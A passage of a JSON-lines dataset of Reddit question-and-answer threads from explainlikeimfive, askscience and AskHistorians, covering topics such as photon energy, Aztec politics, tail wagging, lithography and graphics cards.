airflow exits the system moving downward relative to the wing. Air moving downward = equal and opposite reaction pushing the aircraft up. \n\nIt's fairly easy to deflect the below-the-wing airflow downwards, but separation of the airflow over the top of the wing can eliminate (from some to) over half your lift while adding a bunch of drag. An aerodynamic stall doesn't eliminate *all* of your lift, just enough for it to be a problem.\n\nAs you point out, airflow separation can actually *decrease* the pressure over the top of the wing (depending on the airfoil shape). But this is a very draggy and inefficient mode of lift production, and also moves the center of lift forward (along with the drop in overall lift), leading the plane to nose down naturally, if it's properly balanced. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3igyky", "title": "Why is the energy of a given wavelength of light determined by the wavelength itself rather than the height of the wave?", "selftext": "It seems to make more intuitive sense if the height of the wave would determine the energy it contains, but that's not the case. It would also seem to make sense that in a given time period, the overall energy would be higher with shorter wavelengths, because the waves are coming faster. I just don't understand why, for example, a wave of blue light is inherently more energetic than a wave of red light based solely on the wavelength.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3igyky/why_is_the_energy_of_a_given_wavelength_of_light/", "answers": {"a_id": ["cuge2mb", "cuge4un", "cugef2k"], "score": [31, 15, 6], "text": ["The energy of a wave is not determined by the wavelength. \n\nThe energy of the photons that make up the wave does depend on the wavelength.\n\nIf the photon flux is greater, the power of the wave is increased, and at the same time if you consider the wave from the classical perspective, the amplitude of the wave is also increased. \n\nIn the classical view, it is exactly the amplitude of the wave that determines the energy.\n", "You're confusing the intensity of an EM wave with the energy of a photon. The magnitude of the E field DOES determine the energy density of the wave just like the amplitude of any other wave does. BUT, EM waves have that peculiar property that their energy is only absorbed in discrete chunks called photons. And the amount of energy comprising each of those photons depends only on the frequency of the EM wave.", "The energy of a *single photon* is determined by its wavelength, but EM waves are composed of lots of photons all traveling together. ~~A single photon always has the same amplitude (wave height), but~~ multiple photons will interfere with each other, increasing the amplitude of the entire wave, which we see as a brighter/more intense light. This means that for a larger amplitude, you get more photons, and so more energy. Also, shorter wavelengths do indeed carry more energy per photon (blue light has a shorter wavelength than red light).\n\nSo you're kinda right, you were just missing an important piece of information.\n\nEdit: I was mistaken about the amplitude of a single photon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7rcz8z", "title": "What are some good books to read about South Indian and Sri Lankan history?", "selftext": "The South Asian part of the AskHistorians book list is essentially limited to subcontinent-wide overviews, or specific events dating to the colonial period and in the north of India.\n\nWhat are some good books to read if I'm specifically interested in Sri Lanka and South India - in particular the Dravidian-speaking parts of India? I'm interested in anything related to the region, of any temporal or regional scope. I'd be equally happy to read anything from a good regional overview, to a detailed history of Anuradhapura, to an in-depth study of caste in southern Kerala in the early 20th century.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7rcz8z/what_are_some_good_books_to_read_about_south/", "answers": {"a_id": ["dsvzzgk"], "score": [5], "text": ["K. M. DeSilva's exhaustive *History of Sri Lanka* is a great start for all things Sri Lankan.  The most recent edition includes a somewhat in depth look at historic Tamil Sinhalese relations and surveys into society and caste in various kingdoms.  As for Kerala, I really don't have much background, Oxford published a History of South India ten or so years ago which I've used in the past, but I'm afraid I don't remember the writer, but there was a fairly in depth look a Dravidian culture pre-colonialism.  I don't think it goes past the 18th century though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "amaztn", "title": "why do directors yell \"cut!\" at the end of a take? is that even a real thing that actually happens?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/amaztn/eli5_why_do_directors_yell_cut_at_the_end_of_a/", "answers": {"a_id": ["efkohd1", "efkolas", "efkolv2", "efkzfq5", "efl0pr7"], "score": [3, 4, 35, 5, 3], "text": ["It is. It means that the shot is done, and that cameras and audio should stop recording and actors don\u2019t need to continue. It really does happen, but there\u2019s nothing special about the phrase. Some directors say different things.", "It's a throwback to when movies were still on film.  the direction of CUT were a cue for editor to literally cut and end the film/scene.", "They do. It may seem corny, but there are a lot of people working together on a movie, and someone has to coordinate their efforts. It has to be done in a way everyone is used to, so they still use the same words that were used at the beginning of motion pictures.\n\nI remember seeing an interview with an actor-turned-director who commented on this. He said he felt self-conscious saying the old words, so he tried starting a scene with \"And... go!\" but it didn't work because everyone still expected him to shout Lights! Camera! Sound! Action! Cut! ", "They do.\n\nThe exact wording is essentially tradition - the word 'cut' was originally used by a director (I believe to signify where a cut would be made in the film reel between scenes, though I cannot back this up), became commonly used in the industry, and now is still used as it is a practical (short and easily heard) instruction that everyone in the industry knows.\n\nThere is no reason a director couldn't use any other word or signal (and many have tried), but 'cut' is so ubiquitous and well known there is no ambiguity or uncertainty about it, whereas a director using their own alternative runs more of a risk of people but hearing it as clearly or misunderstanding them.\n\nThe reason it is used at all is just to signify to everyone on the dry they can stop working - the director is in overall charge of the shoot, and they are the one who had the responsibility of starting and stopping the filming. Because not everyone taking part in a scene can easily see what is going on (extras needing to enter and exit blindly, cameramen waiting for actors to appear in shot, or sound recorders who may be focusing on equipment of set rather than a scene) everyone needs a clear, simple instruction to start and stop and ensure that everyone works together and an actor doesn't accidentally break character or walk into shot at the wrong moment.", "It serves as a clear audible signal on the film for the editors that they can cut the film there and consider the strip up to that point as one scene. \n\nIt also serves as a live signal to the cast and crew that scene is finished so they can stop."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "25wnad", "title": "Why do a lot of meteorological records around the world start in the 1880's? Was there an explosion of interest in the weather around that period in time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/25wnad/why_do_a_lot_of_meteorological_records_around_the/", "answers": {"a_id": ["chljawn"], "score": [19], "text": ["I'm not a historian but I am a meteorologist who loves this sub and night be able to help. \n\nThe United States Weather Bureau was established on February 9th 1870. The first official duty if the Bureau was to take weather observations.  However there were issues on which department would administer the Bureau and how weather records could be communicated.  At first it was part of the Department of War, then on 1890 became a civilian based organization on the Department of Agriculture. \n\n\nFrom my readings it seems the reason that most records start in the 1880s is because that is when the Bureau had built up enough infrastructure. Grice's research indicates that only 24 reporting stations existed in 1870 to 284 stations in 1878. Originally these stations were  coastal sites on the Atlantic, Gulf of Mexico, and the Great Lakes. The stations then spread to the interior parts of the US. \n\n\nI am not sure on which exact stations existed before 1880, but in 1877 the war department issued an official order on when exactly weather observations should be taken, and the first records that match today's type of weather obs practices were born. \n\n\nSources:\n\n_URL_0_\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nws.noaa.gov/pa/history/index.php", "http://www.nws.noaa.gov/pa/history/evolution.php"]]}
{"q_id": "2mp6jh", "title": "Repost: In the old days, it seems like dissident aristocrats in exile could just go somewhere and \"raise\" an army. How exactly would someone raise an army before mass media, telephones, the internet, or the administrative state? Hire mercenaries? Go door to door? Announcement in the town square?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2mp6jh/repost_in_the_old_days_it_seems_like_dissident/", "answers": {"a_id": ["cm6fyuj", "cm6sa7z", "cm6xlm5", "cm6zzpl"], "score": [130, 219, 3, 6], "text": ["Lets say you are the French king and you didn't like the English very much, and the former king of England (and his son) wind up in your French court. Would you execute him? Kick him out? Heck no! Pretenders to a throne (especially ones with really good claims like James and Bonnie Prince Charlie) are very useful resources to have. \n\nIf you deem the time is right (let's say because the English are going to oppose you on the continent, as they did repeatedly), you send a pretender off to Scotland or Ireland with some troops, and see if they can't take out or destabilize the English for you.\n\nIn regards to the communication issue, raising troops in France wouldn't be much of a problem if you are using Expats like the Irish Brigade (_URL_0_) or French troops, but it was absolutely a horrendous problem when communicating and coordinating with Scotland or Ireland, as the English tended to get in the way. This caused countless problems with timing issues and landings, as friendly Spanish and French troop ships over the years were blown off course, landed in the wrong place, failed to rendezvous, or were intercepted by the English.\n\nThe Jacobite Rising of 1715 suffered a massive communication problem - the Scots had already risen and been mostly defeated by the time the pretender landed, leaving him nothing to do but turn back around for France. ", "This is probably not a question that has a single answer, since our hypothetical aristocrat in exile managing to successfully raise and army and challenge (presumably) whoever exiled him or her is a situation that already has great deal of moving parts. The reason the aristocrat was exiled factors in, as does the whoever exiled them, and how secure that group's hold on power was compared to remaining support for the exile, and any other groups that simply didn't want the usurpers hanging around. Basically, the situation you are positing is already a situation where the normal state of things are in fluctuation. \n\nReally, I'm not even sure this happened as often as you might think. Napoleon is an example that has already been brought up as an example, but he spent less than a year in exile before returning to widespread acclaim and defections to his side. That's one way to do it, I suppose. I have another example though, which might show a slightly more complicated path from worst to first.\n\n**Tepanecs, Acolhua, and Mexica, oh my!**\n\nJust to briefly set the stage, in the late 14th/early 15th centuries CE, a [Nahua](_URL_1_) group known as the Tepanecs were busily setting about conquering the [Basin of Mexico](_URL_0_). From their capital city, Azcapotzalco, the Tepanecs, led by the long-lived statesman Tezozomoc, had brought large swathes of the Basin [under their dominion](_URL_2_), including the rich southern agricultural lands. All that remained was the sparesly populated north and the eastern lake basin, the lands of another Nahua group, the Acolhua.\n\nAround 1414-15, war between the Tepanecs and Acolhua broke out and, despite a strong showing by the Acolhua, the Tepanecs won out. The Acolhua cities were assigned as tributary vassals to the victorious Tepanecs and their allies. Notably, the city of Texcoco was assigned to the Mexica of Tenochtitlan (the people we think about when we think about Aztecs). More notably for your question though, many Acolhua elites fled their cities, including a young teenager named Nezahualcoyotl, son of the ruler of Texcoco. In the most dramatic tellings of the story, Nezahualcoyotl witnessed his father being struck down by assassins before his very eyes. Regardless of that bit of melodrama, he ended up fleeing to the neighboring Tlaxcalan lands with many other Acolhua elites, as a sort of prince-in-exile.\n\n**Tepanecs 2: Post-Tezozomoc Boogaloo**\n\nShortly after securing the eastern lake shore, however, Tezozomoc finally passed away. A succession struggle then occurred, with the son he had chosen to succeed him being deposed and murdered by another son, Maxtla. Now, Tezozomoc had always shown favor to the Mexica, who had grown from starving refugees to a substantial economic and military force under the protection and dominion of Tezozomoc. \n\nMaxtla, however, did not share that warmth and saw the Mexica as threats to his power. One of his early acts after deposing his brother was to have the ruler of Tenochtitlan and his young son assassinated. Naturally, most people do not take kindly to having their leaders murdered, so an uncle of the slain leader was elected to rule and sort of cold war began between the Mexica and the Tepanecs.\n\nIn the decade or so between the fall of the Acolhua and the murder of the Mexica monarch, however, Nezahualcoyotl had  returned to the Basin of Mexico and settled in Tenochtitlan. This should not be surprising as the Mexica were the overlords of his city (and other Acolhua holdings), but also because the ruling families of Texcoco and Tenochtitlan had intermarried; Nezahualcoyotl's own mother was part of the ruling dynasty of Tenochtitlan. He had thus spent his late teens and early twenties living among the Mexica nobility, though without any real power of his own.\n\n**That's One Hungry Coyote**\n\nThe aggressive action of Maxtla threw the politics of the region into turmoil. The Tepanecs technically controlled most of the Basin, but allegiances in Postclassic Mexico were... fluid (as the Mexica themselves would find out a century later). Both the Mexica and the Tepanecs were sending out embassies to the various groups in the Basin, trying to find out how everyone's loyalties would sort out. \n\nIn this sorting, many pro-Tepanec Acolhua nobles aligned against the Mexica, including relatives of Nezahualcoyotl still living in Texcoco. The timing is a little fuzzy here, but apparently either at this point, or even a little earlier, the Mexica recognized Nezahualcoyotl's claim to Texcoco and he assumed the role of *Tlatoani* (lit \"Speaker,\" but \"King\" is a common translation) of that polity. Even though he had no real power -- his pro-Tepanec relatives still controlled the city -- the title gave him political clout.\n\nAs the official ruler of Texcoco, Nezahualcoyotl was able to reach out to the Acolhua still in exile in Tlaxcala, who could then reach out to their contacts still residing in the Basin, thus forming a web of Mexica support on the eastern lake shores. Brundage (1972) astutely notes that one selling point may have been that, if the Tepanec won, the Acolhua would still be a divided group of subordinate cities. If the Mexica won, there was at least the possibility that the Acolhua would gain some measure of independence as allies to the victors.\n\n**The Conclusion You Knew Was Coming**\n\nThe problem with history is that all stories are already told. If you know anything about Aztec history, then you know that the Mexica won the war with the help of the Acolhua. Nezahualcoyotl drove out his Tepanec sympathizing relatives in 1433, and Texcoco became the preeminent city of the Acolhua and the second most important city in the Basin of Mexico behind Tenochtitlan. Nezahualcoyotl himself would reign for decades and is remembered as a great statesman, architect, judge, philosopher, warrior, and poet. So not bad for someone who was living as a noble without a city until the political equilibrim of the Basin of Mexico got flipped turned upside down and he ended sitting on his *icpalli* as the *tlatoani* of Texcoco.\n\n**So, how *does* one raise an army?** \n\nAs for the technical details of what you're asking about, the key is organization. Cities in the Basin were divided into *calpulli* (wards/barrios). This system was developed and formalized during the Aztec Imperial Period, some sort of calpulli-like system may have existed in the Basin of Mexico for centuries, perhaps even back to Teotihuacan. The basic idea is that each calpulli would be responsible for neighborhood upkeep, policing, and schooling, which included military training.\n\nWhen mobilization occurred, the call would go out the calpulli, and the available men would be organized into a squadron. This squad would then join up with other squads to form larger units, and so on and so forth. The point being that social structures for raising and equipping large numbers of men for war already existed in Mexico, and no doubt in other areas as well. What our hypothetical noble in exile needed then, was not some new innovative way to marshal troops, but the political, social, and legal authority to utilize those pre-existing systems. As with the example of Nezahualcoyotl, gaining that authority as someone who had previously been deposed from power might be dependent on the political landscape shifting so that those who exiled you are now vulnerable to a challenge, and the strength of your claim to wielding that authority now exceeds theirs.\n\n**Sources and Such**\n\nBrundage, BC 1972 *A Rain of Darts: The Mexica Aztecs* - Dated and overly dramatic, but does a great job of synthesizing primary sources.\n\nHassig, R 1988 *Aztec Warfare: Expansion and Imperial Control* - The authoritative book on the sundries of the Aztec military.\n\nLee, J. 2008 *The Allure of Nezahualcoyotl: Pre-Hispanic History, Religion, and Nahua Poetics* - A sort of anti-hagiography of Nezahualcoyotl and Texcoco. Makes its case a little too stridently at some points, in my opinion, but is still a treasure trove of information on the subject.\n\nAlva Ixtlilxochitl, F (~1640) H*istoria de la Naci\u00f3n Chichimeca* - The Acolhua side of history, written by a descendant of Nezahualcoyotl. No English translation of which I am aware.\n\nDuran, D (~1581) *History of the Indies of New Spain - The Mexica side of history, written by a Spanish monk who grew up in Texcoco and Tenochtitlan. The 1994 Heyden translation is the standard.", "Would anyone mind giving a more Roman-leaning answer?  For example, in the Roman Civil Wars, various people go around raising private armies all the time, like Pompey did in the war with Sulla.  I'm assuming he went to lands where his family was important and drew on the support of patrons?", "Geoffrey Parker's \"The Army of Flanders and the Spanish Road\" has very good illustrations of recruiting in the early modern era of the Eighty Years War (1566-1648). \n\nThe Spanish empire commissioned recruiting captains and contractors. The recruiting captains, with assistants, would travel from village to village, put up a small show by \"veterans\" telling tales of adventure, riches, glory, etc. Those who sign up are then given payment for signup, and then at some point they are all collected up to form one unit (squadron, or battalion, etc.) and then shipped off to their deployment zones. \n\nIn the early days of the Eighty Years War this worked well enough, however towards the end there was general reluctance to join the army and more critically shortage of able-bodied men. So recruiting captains started to get recruits from the prisons, offering freedom after their term of enlistment. Or, escape from a death sentence. \n\nDuring the bad times in Castille, recruiters would offer food in exchange for enlistment. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Irish_Brigade_(French)"], ["http://upload.wikimedia.org/wikipedia/commons/thumb/9/99/Basin_of_Mexico_1519_map-en.svg/768px-Basin_of_Mexico_1519_map-en.svg.png", "http://en.wikipedia.org/wiki/Nahua_peoples", "http://upload.wikimedia.org/wikipedia/commons/4/47/Tepanecapan_II.JPEG"], [], []]}
{"q_id": "roaoi", "title": "Whenever a dog is happy, it wags its tail. Is this a voluntary reaction?", "selftext": "I know that whenever my dog gets excited he will violently wag his tail and smack it off shit, and it looks like it hurts. Is there anyway he could stop it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/roaoi/whenever_a_dog_is_happy_it_wags_its_tail_is_this/", "answers": {"a_id": ["c47dtp0", "c47emcz", "c47fxsb"], "score": [23, 11, 3], "text": ["It is not voluntary. There have been studies shown that when a dog is happy or non threatened the tail tends to wag a little bit more to the right. When scared or apprehensive it actually moves a little bit more to the left. \n\nHere is a article about it. Let me see if I can find the viedo\n_URL_0_", "Tail wagging probably evolved from a dominance behavior, as seen in wolves.\n\nQuoted from a website I found googling 'wolf tail wagging'\n > The movement of an individual's tail is also an important communication factor. Wolves wag their tails like dogs, however contrary to most dog owners; we do not describe the behaviors as a sign of happiness. Generally, wolves wag their tails when there is an increase of energy or excitement occurs. \n\n > There are two specific styles of tail wagging that wolves perform: rigid or fluid movement. A rigid tail (like a pendulum) wag means the wolf is excited and has dominant tendencies. A fluid, or snake-like wag typically is a signal of play or greeting toward other pack members.\n\nIt was probably evolutionarily simple for early dogs to modify that ancestral behavior toward human. Its adaptive for your pack to be able to communicate emotions.", "He is involuntarily communicating his excitement and just like you will struggle to not smile or laugh when something is super funny to you, he will struggle not to wag his tail. Both examples of involuntary physical reaction to external stimuli."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nytimes.com/2007/04/24/science/24wag.html?pagewanted=all"], [], []]}
{"q_id": "15jq82", "title": "Has Scandinavianism in the modern era ever been more than a fringe movement?", "selftext": "Before and after the Kalmar Union, there has been a great deal of enmity between the Nordic countries. However, there has also been a sense of kinship under all that strife, with some advocating unification. Today, the region is split between EU and NATO, and though there is a Nordic Council and the relations are excellent, unification seems distant. I have read that among other things that the Soviet Union countered such efforts due to their interests in Finland, but did Scandinavianism or Nordism ever really stand a chance?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15jq82/has_scandinavianism_in_the_modern_era_ever_been/", "answers": {"a_id": ["c7n7piu"], "score": [11], "text": ["Already [Charles August](_URL_1_) had hopes of uniting the three crowns when he was appointed Crown Prince of Sweden. The first stage would have been a union between Sweden and Norway under a king from Denmark. He fell off his horse and died before ascending the crown, much to the fury and disappointment of the general populace who proceeded to lynch [Axel von Fersen](_URL_0_) who they believed to be responsible (von Fersen was an interesting character who fought in the American revolutionary war and was likely the lover of Marie Antoinette among other prominent women).\n\nDuring the 19th century there was much enthusiasm and talk in the matter. Meetings were held in Sweden and Denmark with readings of Scandinavianist poetry and far-reaching proposals for unification were put forth. The Swedish king Oscar I was himself a Scandinavist and saw a unification as mutual aid against stronger powers: for Sweden against Russia and for Denmark against Germany. When it was the Danish king Frederick VII who was childless (and lived with a ballet dancer out of wedlock with little prospect of legitimate heirs) the speculations gained power again. Could he adopt a son of the Swedish king Oscar I? The matter was quickly put to rest by the outbreak of war shortly after he ascended the throne in 1848. The year of 1848 was a year of great upheaval and it hadn't been many years since the lyrics to \"Deutschland \u00fcber alles\" had been penned (1841). The war was about Schleswig-Holstein, a matter famously described by Lord Palmerston as so complex only three people had ever quite understood it: the Prince-Consort Albert, who was dead, a German professor, who had gone mad, and himself, who had forgotten all about it. But the matter had always been complex, the difference now was the growing nationalism. In Sweden there was great sympathy for the Danish side: money was raised, volunteers went to fight and the Swedish army was ready to intervene should German troops advance into Denmark proper. \n\nWhile the parliamentary majority was on the side of Denmark, there were dissent from the more conservatively inclined. Would Denmark do the same for us? A peasant representative from Dalarna spoke of the arrows in that province's coat of arms: arrows meant for Danes. Not everyone saw nationalism as pan-Scandinavian. \n\nThe Danes managed the Germans largely on their own, however, and didn't choose a relative of Oscar I. The Norwegians probably considered this a wise move as they felt their already existing union with Sweden wasn't quite a union between equals. \n\nInterestingly, the Swedish national anthem was inspired by Scandinavianism and never mentions Sweden, only \"the north\", which has the consequence that the Polish national anthem is the only one mentioning Sweden. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Axel_von_Fersen_the_Younger", "http://en.wikipedia.org/wiki/Charles_August,_Crown_Prince_of_Sweden"]]}
{"q_id": "6ou2z0", "title": "how necessary is writing \"ambulance\" backwards?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ou2z0/eli5_how_necessary_is_writing_ambulance_backwards/", "answers": {"a_id": ["dkk890e", "dkk8jgq"], "score": [9, 7], "text": ["Honestly, in an ideal world, sirens and lights would be good enough, but ambulance operators hedge against the fact there are enough bad drivers on the road to make them useless.\n\nSay, you are listening to music loudly in the car. In that case, looking at your rear view mirrors would be quicker and safer than turning to see the vehicle and identify it as a ambulance. A light could also belong to other service vehicles, which could be deemed to be of lower importance by mistake.\n\nAlso, EMTs are advised to not turn the sirens and lights on, unless absolutely necessary. You can read more on this here.\n\n_URL_0_\n", "Pretty necessary. If the wrote it frontwards it would look backwards in your rear view mirror and you might not be able to read it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ems1.com/ems-products/ambulance-lights/articles/1977768-The-truth-about-EMS-use-of-lights-and-sirens/"], []]}
{"q_id": "2dmml3", "title": "what's the difference between a well-crafted interaction website for mobile devices and an app?", "selftext": "I know apps are a \"big thing\" and they are all downloadable applications, but what purpose does an app serve, and if you coded an identical website now that we have so many methods to make a website? \n\nI went to purchase a ticket for the norwegian transit, I've always just used their website because it's basically 2 buttons, then I was prompted to download their app instead. \n\nI was surprised that the app was *identical* to their website when viewed as mobil device, and felt just the same. Besides being downloaded/standalone, is there any difference to online based apps and a website for mobile devices?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dmml3/eli5_whats_the_difference_between_a_wellcrafted/", "answers": {"a_id": ["cjqxmjx", "cjqxtns", "cjqyaoj", "cjr41i8", "cjre2xn"], "score": [5, 7, 2, 2, 2], "text": ["An app has to be installed and runs natively on the device.     A website runs inside an app called a web browser.   An iPhone app can't run on an android device because different architectures.    A website can run in both because each device has a browser that IS able to run on the device", "Advantages of an app over website:\n\nDeveloper:\n\n1) You can access user data and sell it for money\n\n2) You can access device features, like the gyroscope, send notifications and so on.\n\n3) Easier monetization (people are more willing to spend money on an app, rather than pay to open a website)\n\nCustomer:\n\n1) It can run offline\n\n2) Runs faster", "1. Apps can have some limited functionality even when the device is offline (e.g. mail app), but a mobile website can't.\n\n2. A responsive-design website needs only one version to work on any device with a browser. An app strategy means developing and maintaining iOS, Android, Win8.x versions. \n\n3. There are limitations to what you can do with responsive design in a web page, especially if you're trying to cover both tablets and phones. But switching to an app strategy sometimes means you'll be building both a phone and tablet version of the app.", "The app can spy on personal data that doesn't have to be input directly to the app. Went through my phone and disabled some if the social apps I had and found out they had permission to make calls, send texts, read contacts, etc.", "One key reason a lot of people seem to be forgetting is simply marketing. If you download an app from company X, you are more likely to use it than to search the web for competing services.\n\nA simple example would be a taxi service. If Taxi Co. prompts you to download their app when you visit their mobile site, and you do, now you always have access at the click of a button to flag a taxi. Why would you search the web for local taxi services and then start calling them?\n\n* Open app\n    * App detects your location via GPS\n    * App already has your information (such as phone number and name)\n    * App/Account may already have payment information so that you don't need to worry about carrying cash or whatever\n* Click \"Request Taxi\"\n* App sends request to service and gives you confirmation that your ride is on its way\n\nNow not only do you have easy access to a taxi, but the company can use that information to automatically gather data not only on you, but all of their clients:\n\n* Where are the hot spots on which days? Park more cabs in the area for faster access.\n* How often do you use their service? Maybe they can offer discounts or extra service for repeat customers.\n\nIt is much easier to gather this info and to drive more customers to your business with an app than to do manual data input."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "8q0ciz", "title": "are there any consequences for racers who cause a massive crash?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8q0ciz/eli5_are_there_any_consequences_for_racers_who/", "answers": {"a_id": ["e0ffzat"], "score": [13], "text": ["It depends.\n\nF1 is the only racing sports I am familiar with, so I can only talk for that, but drivers can be penalised for causing a crash or forcing an opponent off track, but it is going to depend on various factors.\n\nJust because a driver causes a crash, doesn't mean they acted dangerously or there was ill intent. It could be due to a mechanical failure, after all, which won't lead to a driver penalty. Also in formula 1, some crashes are labelled race incidents. What this basically means is that nobody involved in the crash was really behaving dangerously or against the rules, but sometimes accidents happen. \n\nBut when an accident is found to be the fault of a driver in particular, several things can be done. If said driver is still in the race, they are often given a five or ten second time penalty. Other things that can happen is that a driver is fined afterwards, that penalty points are added to their license (with a certain number of points, you cannot participate in the next race), they can get a grid penalty (which means that next drive, they need to start a certain amount of places down from where they qualified or all the way down the back) and in very extreme cases, they can also be suspended.\n\nStewards are the ones who decide over who does and does not get a penalty, but the team captains are allowed to report incidents to the stewards if they an oppponent crossed the line. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2wocrw", "title": "why are graphic cards like quadro 6000 so expensive, even though they dont look like something that special?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wocrw/eli5_why_are_graphic_cards_like_quadro_6000_so/", "answers": {"a_id": ["cosnnd8", "cosnq9k", "cosnsd5", "cosrv36", "cosuaao", "coszlc7"], "score": [5, 15, 31, 2, 6, 3], "text": ["Because looks dont matter, it whats on the inside that counts.", "Because it is something that special enough. The Quadro line targets people doing heavy-computing through graphics rendering, CAD or other 'work' things that need a lot of complex math which GPUs excel at doing. \n\nHundreds or even thousands of dollars on a tool is worth it if it's saving the worker's time. (And when your workers are people making  > 30/hr it doesn't take too much saved time per day to add up to a worthwhile investment over the course of the tool's lifetime.)", "_URL_0_\n\npretty thoroughly explains why; basically consumers don't need features like ECC ram on their GPUs and double precision floating point capability and are designed run 24/7.  These customers basically have more money than you and they help offset the cost of r & d of consumer grade equipment", "A lot of time is spent ensuring their reliability/stability.", "You can't tell how powerful a chip is by looking at it. Smaller chips are often more powerful than bigger chips.", "While investigating 10 bit color displays, I found that only the higher performance Quadros supported this display type.\n\nSee:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=U5Npt1BSF04"], [], [], ["http://nvidia.custhelp.com/app/answers/detail/a_id/3011/~/10-bit-per-color-support-on-nvidia-geforce-gpus"]]}
{"q_id": "83vssn", "title": "what are lithographs and why are they more valuable than prints?", "selftext": "Disney's been sending me tons of lithographs on pre-order. I can't see why these would be different than other prints.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/83vssn/eli5_what_are_lithographs_and_why_are_they_more/", "answers": {"a_id": ["dvkvioo", "dvkxvh0"], "score": [2, 7], "text": ["If you buy a print of a painting at a chain store, whether it's a Target, Ikea, or Michael's, and you look really closely at the ink with a magnifying glass, you'll find that the picture is composed of lots of tiny colored dots. It's the exact same idea that newspapers and magazines and home computer printers have been using for decades.\n\nLithography is different. It works more like an old printing press than a modern printer. Ink of a single color is applied to an image that has been etched into a large stone block. You stamp the image onto the page, then move the page do a different block that has the blue bits of the image, stamp that, then move to the next color, etc.\n\nIn the tiny dots method, the printer nearly always uses cyan, yellow, and magenta inks, just like a home inkjet printer, and different sized dots create different colors on the page. But with lithography, you can make the red parts of your print with actual red ink, instead of some C-Y-M blend of pixels.", "I majored in Print Media so I might be able to answer this.\n\nA digital print, also known as a gicl\u00e9e, uses a [large-format printer](_URL_5_) to print images onto archival paper. This printer usually uses a [hexachrome](_URL_3_) system of inks (cyan, magenta, yellow, black, orange, green). In other words, it's basically just like printing anything else, but just using fancy printers and inks.\n\nFor lithographs, either stone or plate litho, images are separated into C-Y-M-K (plus spot colors) and printed sequentially one on top of the other to reconstruct the original image.\n\nCommercially, this can be done automatically using a modern [offset press](_URL_2_). These presses use photo-coated aluminum plates on which the image was exposed (each plate has a part of the CYMK separation). Paper goes in one end and is automatically fed through each color section. This is really easy because color registration (lining up each color to each other) is done automagically.\n\nFor art prints, either the source image is reproduced and separated by hand or digitally. These separations are then either etched onto blocks of [limestone](_URL_4_) or [photo plates](_URL_0_). Each color is then run through a press and each color is hand-registered.\n\n[Here's a really nice video](_URL_1_) showing the stone litho process."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.google.com/search?dcr=0&amp;biw=1270&amp;bih=964&amp;tbm=isch&amp;sa=1&amp;ei=p6mmWpSECKny5gKthogI&amp;q=plate+litho&amp;oq=plate+litho&amp;gs_l=psy-ab.3..0l2j0i5i30k1l6j0i8i30k1l2.24472.25641.0.25841.11.11.0.0.0.0.91.759.11.11.0....0...1c.1.64.psy-ab..0.11.755...0i67k1.0.BP68XCi7pss", "https://www.youtube.com/watch?v=E38B0swb4vo", "https://www.google.com/search?q=offset+press&amp;dcr=0&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwjY5caXmOfZAhXEk1kKHSuACzYQ_AUICigB&amp;biw=1270&amp;bih=964", "https://en.wikipedia.org/wiki/Hexachrome", "https://www.google.com/search?q=stone+litho&amp;dcr=0&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwjNjYuQmefZAhUFnFkKHQgXDg0Q_AUICigB&amp;biw=1270&amp;bih=964", "https://www.google.com/search?q=large+format+printer&amp;dcr=0&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwjA4ZCZl-fZAhWDwVkKHc5SBq8Q_AUICigB&amp;biw=1270&amp;bih=964"]]}
